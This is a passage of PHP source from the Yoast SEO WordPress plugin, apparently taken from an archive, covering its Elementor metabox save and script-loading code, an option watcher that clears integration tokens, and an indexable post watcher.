			\wp_send_json_error( 'Bad Request', 400 );
		}

		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: No sanitization needed because we cast to an integer.
		$post_id = (int) \wp_unslash( $_POST['post_id'] );

		if ( $post_id <= 0 ) {
			\wp_send_json_error( 'Bad Request', 400 );
		}

		if ( ! \current_user_can( 'edit_post', $post_id ) ) {
			\wp_send_json_error( 'Forbidden', 403 );
		}

		\check_ajax_referer( 'wpseo_elementor_save', '_wpseo_elementor_nonce' );

		// Bail if this is a multisite installation and the site has been switched.
		if ( \is_multisite() && \ms_is_switched() ) {
			\wp_send_json_error( 'Switched multisite', 409 );
		}

		\clean_post_cache( $post_id );
		// phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- To setup the post we need to do this explicitly.
		$post = \get_post( $post_id );

		if ( ! \is_object( $post ) ) {
			// Non-existent post.
			\wp_send_json_error( 'Post not found', 400 );
		}

		\do_action( 'wpseo_save_compare_data', $post );

		// Initialize meta, amongst other things it registers sanitization.
		WPSEO_Meta::init();

		$social_fields = [];
		if ( $this->social_is_enabled ) {
			$social_fields = WPSEO_Meta::get_meta_field_defs( 'social', $post->post_type );
		}

		// The below methods use the global post so make sure it is setup.
		\setup_postdata( $post );
		$meta_boxes = \apply_filters( 'wpseo_save_metaboxes', [] );
		$meta_boxes = \array_merge(
			$meta_boxes,
			WPSEO_Meta::get_meta_field_defs( 'general', $post->post_type ),
			WPSEO_Meta::get_meta_field_defs( 'advanced', $post->post_type ),
			$social_fields,
			WPSEO_Meta::get_meta_field_defs( 'schema', $post->post_type )
		);

		foreach ( $meta_boxes as $key => $meta_box ) {
			// If analysis is disabled remove that analysis score value from the DB.
			if ( $this->is_meta_value_disabled( $key ) ) {
				WPSEO_Meta::delete( $key, $post_id );
				continue;
			}

			$data       = null;
			$field_name = WPSEO_Meta::$form_prefix . $key;

			if ( $meta_box['type'] === 'checkbox' ) {
				$data = isset( $_POST[ $field_name ] ) ? 'on' : 'off';
			}
			else {
				if ( isset( $_POST[ $field_name ] ) ) {
					// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: Sanitized through sanitize_post_meta.
					$data = \wp_unslash( $_POST[ $field_name ] );

					// For multi-select.
					if ( \is_array( $data ) ) {
						$data = \array_map( [ 'WPSEO_Utils', 'sanitize_text_field' ], $data );
					}

					if ( \is_string( $data ) ) {
						$data = ( $key !== 'canonical' ) ? WPSEO_Utils::sanitize_text_field( $data ) : WPSEO_Utils::sanitize_url( $data );
					}
				}

				// Reset options when no entry is present with multiselect - only applies to `meta-robots-adv` currently.
				if ( ! isset( $_POST[ $field_name ] ) && ( $meta_box['type'] === 'multiselect' ) ) {
					$data = [];
				}
			}

			if ( $data !== null ) {
				WPSEO_Meta::set_value( $key, $data, $post_id );
			}
		}

		if ( isset( $_POST[ WPSEO_Meta::$form_prefix . 'slug' ] ) && \is_string( $_POST[ WPSEO_Meta::$form_prefix . 'slug' ] ) ) {
			$slug = \sanitize_title( \wp_unslash( $_POST[ WPSEO_Meta::$form_prefix . 'slug' ] ) );
			if ( $post->post_name !== $slug ) {
				$post_array              = $post->to_array();
				$post_array['post_name'] = $slug;

				$save_successful = \wp_insert_post( $post_array );
				if ( \is_wp_error( $save_successful ) ) {
					\wp_send_json_error( 'Slug not saved', 400 );
				}

				// Update the post object to ensure we have the actual slug.
				// phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- Updating the post is needed to get the current slug.
				$post = \get_post( $post_id );
				if ( ! \is_object( $post ) ) {
					\wp_send_json_error( 'Updated slug not found', 400 );
				}
			}
		}

		\do_action( 'wpseo_saved_postdata' );

		// Output the slug, because it is processed by WP and we need the actual slug again.
		\wp_send_json_success( [ 'slug' => $post->post_name ] );
	}

	/**
	 * Determines if the given meta value key is disabled.
	 *
	 * @param string $key The key of the meta value.
	 *
	 * @return bool Whether the given meta value key is disabled.
	 */
	public function is_meta_value_disabled( $key ) {
		if ( $key === 'linkdex' && ! $this->seo_analysis->is_enabled() ) {
			return true;
		}

		if ( $key === 'content_score' && ! $this->readability_analysis->is_enabled() ) {
			return true;
		}

		if ( $key === 'inclusive_language_score' && ! $this->inclusive_language_analysis->is_enabled() ) {
			return true;
		}

		return false;
	}

	/**
	 * Enqueues all the needed JS and CSS.
	 *
	 * @return void
	 */
	public function enqueue() {
		$post_id = \get_queried_object_id();
		if ( empty( $post_id ) ) {
			$post_id = 0;
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
			if ( isset( $_GET['post'] ) && \is_string( $_GET['post'] ) ) {
				// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized,WordPress.Security.NonceVerification.Recommended -- Reason: No sanitization needed because we cast to an integer,We are not processing form information.
				$post_id = (int) \wp_unslash( $_GET['post'] );
			}
		}

		if ( $post_id !== 0 ) {
			// Enqueue files needed for upload functionality.
			\wp_enqueue_media( [ 'post' => $post_id ] );
		}

		$this->asset_manager->enqueue_style( 'admin-global' );
		$this->asset_manager->enqueue_style( 'metabox-css' );
		$this->asset_manager->enqueue_style( 'scoring' );
		$this->asset_manager->enqueue_style( 'monorepo' );
		$this->asset_manager->enqueue_style( 'admin-css' );
		$this->asset_manager->enqueue_style( 'ai-generator' );
		$this->asset_manager->enqueue_style( 'elementor' );

		$this->asset_manager->enqueue_script( 'admin-global' );
		$this->asset_manager->enqueue_script( 'elementor' );

		$this->asset_manager->localize_script( 'elementor', 'wpseoAdminGlobalL10n', \YoastSEO()->helpers->wincher->get_admin_global_links() );
		$this->asset_manager->localize_script( 'elementor', 'wpseoAdminL10n', WPSEO_Utils::get_admin_l10n() );
		$this->asset_manager->localize_script( 'elementor', 'wpseoFeaturesL10n', WPSEO_Utils::retrieve_enabled_features() );

		$plugins_script_data = [
			'replaceVars' => [
				'replace_vars'             => $this->get_replace_vars(),
				'recommended_replace_vars' => $this->get_recommended_replace_vars(),
				'hidden_replace_vars'      => $this->get_hidden_replace_vars(),
				'scope'                    => $this->determine_scope(),
				'has_taxonomies'           => $this->current_post_type_has_taxonomies(),
			],
			'shortcodes'  => [
				'wpseo_shortcode_tags'          => $this->get_valid_shortcode_tags(),
				'wpseo_filter_shortcodes_nonce' => \wp_create_nonce( 'wpseo-filter-shortcodes' ),
			],
		];

		$worker_script_data = [
			'url'                     => \YoastSEO()->helpers->asset->get_asset_url( 'yoast-seo-analysis-worker' ),
			'dependencies'            => \YoastSEO()->helpers->asset->get_dependency_urls_by_handle( 'yoast-seo-analysis-worker' ),
			'keywords_assessment_url' => \YoastSEO()->helpers->asset->get_asset_url( 'yoast-seo-used-keywords-assessment' ),
			'log_level'               => WPSEO_Utils::get_analysis_worker_log_level(),
			// We need to make the feature flags separately available inside of the analysis web worker.
			'enabled_features'        => WPSEO_Utils::retrieve_enabled_features(),
		];

		$permalink        = $this->get_permalink();
		$page_on_front    = (int) \get_option( 'page_on_front' );
		$homepage_is_page = \get_option( 'show_on_front' ) === 'page';
		$is_front_page    = $homepage_is_page && $page_on_front === $post_id;

		$script_data = [
			'metabox'                   => $this->get_metabox_script_data( $permalink ),
			'isPost'                    => true,
			'isBlockEditor'             => WP_Screen::get()->is_block_editor(),
			'isElementorEditor'         => true,
			'postStatus'                => \get_post_status( $post_id ),
			'postType'                  => \get_post_type( $post_id ),
			'analysis'                  => [
				'plugins' => $plugins_script_data,
				'worker'  => $worker_script_data,
			],
			'usedKeywordsNonce'         => \wp_create_nonce( 'wpseo-keyword-usage-and-post-types' ),
			'isFrontPage'               => $is_front_page,
		];

		/**
		 * The website information repository.
		 *
		 * @var $repo Website_Information_Repository
		 */
		$repo             = \YoastSEO()->classes->get( Website_Information_Repository::class );
		$site_information = $repo->get_post_site_information();
		$site_information->set_permalink( $permalink );
		$script_data = \array_merge_recursive( $site_information->get_legacy_site_information(), $script_data );

		$this->asset_manager->localize_script( 'elementor', 'wpseoScriptData', $script_data );
		$this->asset_manager->enqueue_user_language_script();
	}

	/**
	 * Renders the metabox hidden fields.
	 *
	 * @return void
	 */
	protected function render_hidden_fields() {
		// Wrap in a form with an action and post_id for the submit.
		\printf(
			'<form id="yoast-form" method="post" action="%1$s"><input type="hidden" name="action" value="wpseo_elementor_save" /><input type="hidden" id="post_ID" name="post_id" value="%2$s" />',
			\esc_url( \admin_url( 'admin-ajax.php' ) ),
			\esc_attr( $this->get_metabox_post()->ID )
		);

		\wp_nonce_field( 'wpseo_elementor_save', '_wpseo_elementor_nonce' );
		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: Meta_Fields_Presenter->present is considered safe.
		echo new Meta_Fields_Presenter( $this->get_metabox_post(), 'general' );

		if ( $this->is_advanced_metadata_enabled ) {
			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: Meta_Fields_Presenter->present is considered safe.
			echo new Meta_Fields_Presenter( $this->get_metabox_post(), 'advanced' );
		}

		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: Meta_Fields_Presenter->present is considered safe.
		echo new Meta_Fields_Presenter( $this->get_metabox_post(), 'schema', $this->get_metabox_post()->post_type );

		if ( $this->social_is_enabled ) {
			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: Meta_Fields_Presenter->present is considered safe.
			echo new Meta_Fields_Presenter( $this->get_metabox_post(), 'social' );
		}

		\printf(
			'<input type="hidden" id="%1$s" name="%1$s" value="%2$s" />',
			\esc_attr( WPSEO_Meta::$form_prefix . 'slug' ),
			/**
			 * It is important that this slug value is the same as in the database.
			 * If the DB value is empty we can auto-generate a slug.
			 * But if not empty, we should not touch it anymore.
			 */
			\esc_attr( $this->get_metabox_post()->post_name )
		);

		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output should be escaped in the filter.
		echo \apply_filters( 'wpseo_elementor_hidden_fields', '' );

		echo '</form>';
	}

	/**
	 * Returns post in metabox context.
	 *
	 * @return WP_Post|null
	 */
	protected function get_metabox_post() {
		if ( $this->post !== null ) {
			return $this->post;
		}

		$this->post = $this->request_post->get_post();

		return $this->post;
	}

	/**
	 * Passes variables to js for use with the post-scraper.
	 *
	 * @param string $permalink The permalink.
	 *
	 * @return array
	 */
	protected function get_metabox_script_data( $permalink ) {
		$post_formatter = new WPSEO_Metabox_Formatter(
			new WPSEO_Post_Metabox_Formatter( $this->get_metabox_post(), [], $permalink )
		);

		$values = $post_formatter->get_values();

		/** This filter is documented in admin/filters/class-cornerstone-filter.php. */
		$post_types = \apply_filters( 'wpseo_cornerstone_post_types', \YoastSEO()->helpers->post_type->get_accessible_post_types() );
		if ( $values['cornerstoneActive'] && ! \in_array( $this->get_metabox_post()->post_type, $post_types, true ) ) {
			$values['cornerstoneActive'] = false;
		}

		$values['elementorMarkerStatus'] = $this->is_highlighting_available() ? 'enabled' : 'hidden';

		return $values;
	}

	/**
	 * Gets the permalink.
	 *
	 * @return string
	 */
	protected function get_permalink(): string {
		$permalink = '';

		if ( \is_object( $this->get_metabox_post() ) ) {
			$permalink = \get_sample_permalink( $this->get_metabox_post()->ID );
			$permalink = $permalink[0];
		}

		return $permalink;
	}

	/**
	 * Checks whether the highlighting functionality is available for Elementor:
	 * - in Free it's always available (as an upsell).
	 * - in Premium it's available as long as the version is 21.8-RC0 or above.
	 *
	 * @return bool Whether the highlighting functionality is available.
	 */
	private function is_highlighting_available() {
		$is_premium      = \YoastSEO()->helpers->product->is_premium();
		$premium_version = \YoastSEO()->helpers->product->get_premium_version();

		return ! $is_premium || \version_compare( $premium_version, '21.8-RC0', '>=' );
	}

	/**
	 * Prepares the replace vars for localization.
	 *
	 * @return array Replace vars.
	 */
	protected function get_replace_vars() {
		$cached_replacement_vars = [];

		$vars_to_cache = [
			'date',
			'id',
			'sitename',
			'sitedesc',
			'sep',
			'page',
			'currentyear',
			'currentdate',
			'currentmonth',
			'currentday',
			'tag',
			'category',
			'category_title',
			'primary_category',
			'pt_single',
			'pt_plural',
			'modified',
			'name',
			'user_description',
			'pagetotal',
			'pagenumber',
			'post_year',
			'post_month',
			'post_day',
			'author_first_name',
			'author_last_name',
			'permalink',
			'post_content',
		];

		foreach ( $vars_to_cache as $var ) {
			$cached_replacement_vars[ $var ] = \wpseo_replace_vars( '%%' . $var . '%%', $this->get_metabox_post() );
		}

		// Merge custom replace variables with the WordPress ones.
		return \array_merge( $cached_replacement_vars, $this->get_custom_replace_vars( $this->get_metabox_post() ) );
	}

	/**
	 * Prepares the recommended replace vars for localization.
	 *
	 * @return array Recommended replacement variables.
	 */
	protected function get_recommended_replace_vars() {
		$recommended_replace_vars = new WPSEO_Admin_Recommended_Replace_Vars();

		// What is recommended depends on the current context.
		$post_type = $recommended_replace_vars->determine_for_post( $this->get_metabox_post() );

		return $recommended_replace_vars->get_recommended_replacevars_for( $post_type );
	}

	/**
	 * Returns the list of replace vars that should be hidden inside the editor.
	 *
	 * @return string[] The hidden replace vars.
	 */
	protected function get_hidden_replace_vars() {
		return ( new WPSEO_Replace_Vars() )->get_hidden_replace_vars();
	}

	/**
	 * Gets the custom replace variables for custom taxonomies and fields.
	 *
	 * @param WP_Post $post The post to check for custom taxonomies and fields.
	 *
	 * @return array Array containing all the replacement variables.
	 */
	protected function get_custom_replace_vars( $post ) {
		return [
			'custom_fields'     => $this->get_custom_fields_replace_vars( $post ),
			'custom_taxonomies' => $this->get_custom_taxonomies_replace_vars( $post ),
		];
	}

	/**
	 * Gets the custom replace variables for custom taxonomies.
	 *
	 * @param WP_Post $post The post to check for custom taxonomies.
	 *
	 * @return array Array containing all the replacement variables.
	 */
	protected function get_custom_taxonomies_replace_vars( $post ) {
		$taxonomies          = \get_object_taxonomies( $post, 'objects' );
		$custom_replace_vars = [];

		foreach ( $taxonomies as $taxonomy_name => $taxonomy ) {

			if ( \is_string( $taxonomy ) ) { // If attachment, see https://core.trac.wordpress.org/ticket/37368 .
				$taxonomy_name = $taxonomy;
				$taxonomy      = \get_taxonomy( $taxonomy_name );
			}

			if ( $taxonomy->_builtin && $taxonomy->public ) {
				continue;
			}

			$custom_replace_vars[ $taxonomy_name ] = [
				'name'        => $taxonomy->name,
				'description' => $taxonomy->description,
			];
		}

		return $custom_replace_vars;
	}

	/**
	 * Gets the custom replace variables for custom fields.
	 *
	 * @param WP_Post $post The post to check for custom fields.
	 *
	 * @return array Array containing all the replacement variables.
	 */
	protected function get_custom_fields_replace_vars( $post ) {
		$custom_replace_vars = [];

		// If no post object is passed, return the empty custom_replace_vars array.
		if ( ! \is_object( $post ) ) {
			return $custom_replace_vars;
		}

		$custom_fields = \get_post_custom( $post->ID );

		// Simply concatenate all fields containing replace vars so we can handle them all with a single regex find.
		$replace_vars_fields = \implode(
			' ',
			[
				\YoastSEO()->meta->for_post( $post->ID )->presentation->title,
				\YoastSEO()->meta->for_post( $post->ID )->presentation->meta_description,
			]
		);

		\preg_match_all( '/%%cf_([A-Za-z0-9_]+)%%/', $replace_vars_fields, $matches );
		$fields_to_include = $matches[1];
		foreach ( $custom_fields as $custom_field_name => $custom_field ) {
			// Skip private custom fields.
			if ( \substr( $custom_field_name, 0, 1 ) === '_' ) {
				continue;
			}

			// Skip custom fields that are not used, new ones will be fetched dynamically.
			if ( ! \in_array( $custom_field_name, $fields_to_include, true ) ) {
				continue;
			}

			// Skip custom field values that are serialized.
			if ( \is_serialized( $custom_field[0] ) ) {
				continue;
			}

			$custom_replace_vars[ $custom_field_name ] = $custom_field[0];
		}

		return $custom_replace_vars;
	}

	/**
	 * Determines the scope based on the post type.
	 * This can be used by the replacevar plugin to determine if a replacement needs to be executed.
	 *
	 * @return string String describing the current scope.
	 */
	protected function determine_scope() {
		if ( $this->get_metabox_post()->post_type === 'page' ) {
			return 'page';
		}

		return 'post';
	}

	/**
	 * Determines whether or not the current post type has registered taxonomies.
	 *
	 * @return bool Whether the current post type has taxonomies.
	 */
	protected function current_post_type_has_taxonomies() {
		$post_taxonomies = \get_object_taxonomies( $this->get_metabox_post()->post_type );

		return ! empty( $post_taxonomies );
	}

	/**
	 * Returns an array with shortcode tags for all registered shortcodes.
	 *
	 * @return array
	 */
	protected function get_valid_shortcode_tags() {
		$shortcode_tags = [];

		foreach ( $GLOBALS['shortcode_tags'] as $tag => $description ) {
			$shortcode_tags[] = $tag;
		}

		return $shortcode_tags;
	}
}
wordpress-seo/src/integrations/abstract-exclude-post-type.php000064400000002224147510273100020562 0ustar00<?php

namespace Yoast\WP\SEO\Integrations;

/**
 * Abstract class for excluding certain post types from being indexed.
 */
abstract class Abstract_Exclude_Post_Type implements Integration_Interface {

	/**
	 * Initializes the integration.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'wpseo_indexable_excluded_post_types', [ $this, 'exclude_post_types' ] );
	}

	/**
	 * Exclude the post type from the indexable table.
	 *
	 * @param array $excluded_post_types The excluded post types.
	 *
	 * @return array The excluded post types, including the specific post type.
	 */
	public function exclude_post_types( $excluded_post_types ) {
		return \array_merge( $excluded_post_types, $this->get_post_type() );
	}

	/**
	 * This integration is only active when the child class's conditionals are met.
	 *
	 * @return array|string[] The conditionals.
	 */
	public static function get_conditionals() {
		return [];
	}

	/**
	 * Returns the names of the post types to be excluded.
	 * To be used in the wpseo_indexable_excluded_post_types filter.
	 *
	 * @return array The names of the post types.
	 */
	abstract public function get_post_type();
}
wordpress-seo/src/integrations/watchers/option-wpseo-watcher.php000064400000010141147510273100021301 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Watcher for the wpseo option.
 *
 * Represents the option wpseo watcher.
 */
class Option_Wpseo_Watcher implements Integration_Interface {

	use No_Conditionals;

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'update_option_wpseo', [ $this, 'check_semrush_option_disabled' ], 10, 2 );
		\add_action( 'update_option_wpseo', [ $this, 'check_wincher_option_disabled' ], 10, 2 );
		\add_action( 'update_option_wpseo', [ $this, 'check_toggle_usage_tracking' ], 10, 2 );
	}

	/**
	 * Checks if the SEMrush integration is disabled; if so, deletes the tokens.
	 *
	 * We delete the tokens if the SEMrush integration is disabled, no matter if
	 * the value has actually changed or not.
	 *
	 * @param array $old_value The old value of the option.
	 * @param array $new_value The new value of the option.
	 *
	 * @return bool Whether the SEMrush tokens have been deleted or not.
	 */
	public function check_semrush_option_disabled( $old_value, $new_value ) {
		return $this->check_token_option_disabled( 'semrush_integration_active', 'semrush_tokens', $new_value );
	}

	/**
	 * Checks if the Wincher integration is disabled; if so, deletes the tokens
	 * and website id.
	 *
	 * We delete them if the Wincher integration is disabled, no matter if the
	 * value has actually changed or not.
	 *
	 * @param array $old_value The old value of the option.
	 * @param array $new_value The new value of the option.
	 *
	 * @return bool Whether the Wincher tokens have been deleted or not.
	 */
	public function check_wincher_option_disabled( $old_value, $new_value ) {
		$disabled = $this->check_token_option_disabled( 'wincher_integration_active', 'wincher_tokens', $new_value );
		if ( $disabled ) {
			\YoastSEO()->helpers->options->set( 'wincher_website_id', '' );
		}

		return $disabled;
	}

	/**
	 * Checks if the WordProof integration is disabled; if so, deletes the tokens
	 *
	 * We delete them if the WordProof integration is disabled, no matter if the
	 * value has actually changed or not.
	 *
	 * @deprecated 22.10
	 * @codeCoverageIgnore
	 *
	 * @param array $old_value The old value of the option.
	 * @param array $new_value The new value of the option.
	 *
	 * @return bool Whether the WordProof tokens have been deleted or not.
	 */
	public function check_wordproof_option_disabled( $old_value, $new_value ) {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.10' );

		return true;
	}

	/**
	 * Checks if the usage tracking feature is toggled; if so, set an option to stop us from messing with it.
	 *
	 * @param array $old_value The old value of the option.
	 * @param array $new_value The new value of the option.
	 *
	 * @return bool Whether the option is set.
	 */
	public function check_toggle_usage_tracking( $old_value, $new_value ) {
		$option_name = 'tracking';

		if ( \array_key_exists( $option_name, $old_value ) && \array_key_exists( $option_name, $new_value ) && $old_value[ $option_name ] !== $new_value[ $option_name ] && $old_value['toggled_tracking'] === false ) {
			\YoastSEO()->helpers->options->set( 'toggled_tracking', true );

			return true;
		}

		return false;
	}

	/**
	 * Checks if the passed integration is disabled; if so, deletes the tokens.
	 *
	 * We delete the tokens if the integration is disabled, no matter if
	 * the value has actually changed or not.
	 *
	 * @param string $integration_option The intergration option name.
	 * @param string $target_option      The target option to remove the tokens from.
	 * @param array  $new_value          The new value of the option.
	 *
	 * @return bool Whether the tokens have been deleted or not.
	 */
	protected function check_token_option_disabled( $integration_option, $target_option, $new_value ) {
		if ( \array_key_exists( $integration_option, $new_value ) && $new_value[ $integration_option ] === false ) {
			\YoastSEO()->helpers->options->set( $target_option, [] );

			return true;
		}

		return false;
	}
}
wordpress-seo/src/integrations/watchers/indexable-post-watcher.php000064400000023624147510273100021566 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Exception;
use WP_Post;
use Yoast\WP\SEO\Builders\Indexable_Builder;
use Yoast\WP\SEO\Builders\Indexable_Link_Builder;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Helpers\Author_Archive_Helper;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Post_Helper;
use Yoast\WP\SEO\Integrations\Cleanup_Integration;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Loggers\Logger;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Repositories\Indexable_Hierarchy_Repository;
use Yoast\WP\SEO\Repositories\Indexable_Repository;
use YoastSEO_Vendor\Psr\Log\LogLevel;

/**
 * WordPress Post watcher.
 *
 * Fills the Indexable according to Post data.
 */
class Indexable_Post_Watcher implements Integration_Interface {

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $repository;

	/**
	 * The indexable builder.
	 *
	 * @var Indexable_Builder
	 */
	protected $builder;

	/**
	 * The indexable hierarchy repository.
	 *
	 * @var Indexable_Hierarchy_Repository
	 */
	private $hierarchy_repository;

	/**
	 * The link builder.
	 *
	 * @var Indexable_Link_Builder
	 */
	protected $link_builder;

	/**
	 * The author archive helper.
	 *
	 * @var Author_Archive_Helper
	 */
	private $author_archive;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	private $indexable_helper;

	/**
	 * Holds the Post_Helper instance.
	 *
	 * @var Post_Helper
	 */
	private $post;

	/**
	 * Holds the logger.
	 *
	 * @var Logger
	 */
	protected $logger;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array<string> The conditionals.
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Indexable_Post_Watcher constructor.
	 *
	 * @param Indexable_Repository           $repository           The repository to use.
	 * @param Indexable_Builder              $builder              The post builder to use.
	 * @param Indexable_Hierarchy_Repository $hierarchy_repository The hierarchy repository to use.
	 * @param Indexable_Link_Builder         $link_builder         The link builder.
	 * @param Author_Archive_Helper          $author_archive       The author archive helper.
	 * @param Indexable_Helper               $indexable_helper     The indexable helper.
	 * @param Post_Helper                    $post                 The post helper.
	 * @param Logger                         $logger               The logger.
	 */
	public function __construct(
		Indexable_Repository $repository,
		Indexable_Builder $builder,
		Indexable_Hierarchy_Repository $hierarchy_repository,
		Indexable_Link_Builder $link_builder,
		Author_Archive_Helper $author_archive,
		Indexable_Helper $indexable_helper,
		Post_Helper $post,
		Logger $logger
	) {
		$this->repository           = $repository;
		$this->builder              = $builder;
		$this->hierarchy_repository = $hierarchy_repository;
		$this->link_builder         = $link_builder;
		$this->author_archive       = $author_archive;
		$this->indexable_helper     = $indexable_helper;
		$this->post                 = $post;
		$this->logger               = $logger;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'wp_insert_post', [ $this, 'build_indexable' ], \PHP_INT_MAX );
		\add_action( 'delete_post', [ $this, 'delete_indexable' ] );

		\add_action( 'edit_attachment', [ $this, 'build_indexable' ], \PHP_INT_MAX );
		\add_action( 'add_attachment', [ $this, 'build_indexable' ], \PHP_INT_MAX );
		\add_action( 'delete_attachment', [ $this, 'delete_indexable' ] );
	}

	/**
	 * Deletes the meta when a post is deleted.
	 *
	 * @param int $post_id Post ID.
	 *
	 * @return void
	 */
	public function delete_indexable( $post_id ) {
		$indexable = $this->repository->find_by_id_and_type( $post_id, 'post', false );

		// Only interested in post indexables.
		if ( ! $indexable || $indexable->object_type !== 'post' ) {
			return;
		}

		$this->update_relations( $this->post->get_post( $post_id ) );

		$this->update_has_public_posts( $indexable );

		$this->hierarchy_repository->clear_ancestors( $indexable->id );
		$this->link_builder->delete( $indexable );
		$indexable->delete();
		\do_action( 'wpseo_indexable_deleted', $indexable );
	}

	/**
	 * Updates the relations when the post indexable is built.
	 *
	 * @param Indexable $indexable The indexable.
	 * @param WP_Post   $post      The post.
	 *
	 * @return void
	 */
	public function updated_indexable( $indexable, $post ) {
		// Only interested in post indexables.
		if ( $indexable->object_type !== 'post' ) {
			return;
		}

		if ( \is_a( $post, Indexable::class ) ) {
			\_deprecated_argument( __FUNCTION__, '17.7', 'The $old_indexable argument has been deprecated.' );
			$post = $this->post->get_post( $indexable->object_id );
		}

		$this->update_relations( $post );
	}

	/**
	 * Saves post meta.
	 *
	 * @param int $post_id Post ID.
	 *
	 * @return void
	 */
	public function build_indexable( $post_id ) {
		// Bail if this is a multisite installation and the site has been switched.
		if ( $this->is_multisite_and_switched() ) {
			return;
		}

		try {
			$indexable = $this->repository->find_by_id_and_type( $post_id, 'post', false );
			$indexable = $this->builder->build_for_id_and_type( $post_id, 'post', $indexable );

			$post = $this->post->get_post( $post_id );

			/*
			 * Update whether an author has public posts.
			 * For example this post could be set to Draft or Private,
			 * which can influence if its author has any public posts at all.
			 */
			if ( $indexable ) {
				$this->update_has_public_posts( $indexable );
			}

			// Build links for this post.
			if ( $post && $indexable && \in_array( $post->post_status, $this->post->get_public_post_statuses(), true ) ) {
				$this->link_builder->build( $indexable, $post->post_content );
				// Save indexable to persist the updated link count.
				$this->indexable_helper->save_indexable( $indexable );
				$this->updated_indexable( $indexable, $post );
			}
		} catch ( Exception $exception ) {
			$this->logger->log( LogLevel::ERROR, $exception->getMessage() );
		}
	}

	/**
	 * Updates the has_public_posts when the post indexable is built.
	 *
	 * @param Indexable $indexable The indexable to check.
	 *
	 * @return void
	 */
	protected function update_has_public_posts( $indexable ) {
		// Update the author indexable's has public posts value.
		try {
			$author_indexable = $this->repository->find_by_id_and_type( $indexable->author_id, 'user' );
			if ( $author_indexable ) {
				$author_indexable->has_public_posts = $this->author_archive->author_has_public_posts( $author_indexable->object_id );
				$this->indexable_helper->save_indexable( $author_indexable );

				if ( $this->indexable_helper->should_index_indexable( $author_indexable ) ) {
					$this->reschedule_cleanup_if_author_has_no_posts( $author_indexable );
				}
			}
		} catch ( Exception $exception ) {
			$this->logger->log( LogLevel::ERROR, $exception->getMessage() );
		}

		// Update possible attachment's has public posts value.
		$this->post->update_has_public_posts_on_attachments( $indexable->object_id, $indexable->is_public );
	}

	/**
	 * Reschedule indexable cleanup if the author does not have any public posts.
	 * This should remove the author from the indexable table, since we do not
	 * want to store authors without public facing posts in the table.
	 *
	 * @param Indexable $author_indexable The author indexable.
	 *
	 * @return void
	 */
	protected function reschedule_cleanup_if_author_has_no_posts( $author_indexable ) {
		if ( $author_indexable->has_public_posts === false ) {
			$cleanup_not_yet_scheduled = ! \wp_next_scheduled( Cleanup_Integration::START_HOOK );
			if ( $cleanup_not_yet_scheduled ) {
				\wp_schedule_single_event( ( \time() + ( \MINUTE_IN_SECONDS * 5 ) ), Cleanup_Integration::START_HOOK );
			}
		}
	}

	/**
	 * Updates the relations on post save or post status change.
	 *
	 * @param WP_Post $post The post that has been updated.
	 *
	 * @return void
	 */
	protected function update_relations( $post ) {
		$related_indexables = $this->get_related_indexables( $post );

		foreach ( $related_indexables as $indexable ) {
			// Ignore everything that is not an actual indexable.
			if ( \is_a( $indexable, Indexable::class ) ) {
				$indexable->object_last_modified = \max( $indexable->object_last_modified, $post->post_modified_gmt );
				$this->indexable_helper->save_indexable( $indexable );
			}
		}
	}

	/**
	 * Retrieves the related indexables for given post.
	 *
	 * @param WP_Post $post The post to get the indexables for.
	 *
	 * @return Indexable[] The indexables.
	 */
	protected function get_related_indexables( $post ) {
		/**
		 * The related indexables.
		 *
		 * @var Indexable[] $related_indexables .
		 */
		$related_indexables   = [];
		$related_indexables[] = $this->repository->find_by_id_and_type( $post->post_author, 'user', false );
		$related_indexables[] = $this->repository->find_for_post_type_archive( $post->post_type, false );
		$related_indexables[] = $this->repository->find_for_home_page( false );

		$taxonomies = \get_post_taxonomies( $post->ID );
		$taxonomies = \array_filter( $taxonomies, 'is_taxonomy_viewable' );
		$term_ids   = [];
		foreach ( $taxonomies as $taxonomy ) {
			$terms = \get_the_terms( $post->ID, $taxonomy );

			if ( empty( $terms ) || \is_wp_error( $terms ) ) {
				continue;
			}

			$term_ids = \array_merge( $term_ids, \wp_list_pluck( $terms, 'term_id' ) );
		}
		$related_indexables = \array_merge(
			$related_indexables,
			$this->repository->find_by_multiple_ids_and_type( $term_ids, 'term', false )
		);

		return \array_filter( $related_indexables );
	}

	/**
	 * Tests if the site is multisite and switched.
	 *
	 * @return bool True when the site is multisite and switched
	 */
	protected function is_multisite_and_switched() {
		return \is_multisite() && \ms_is_switched();
	}
}
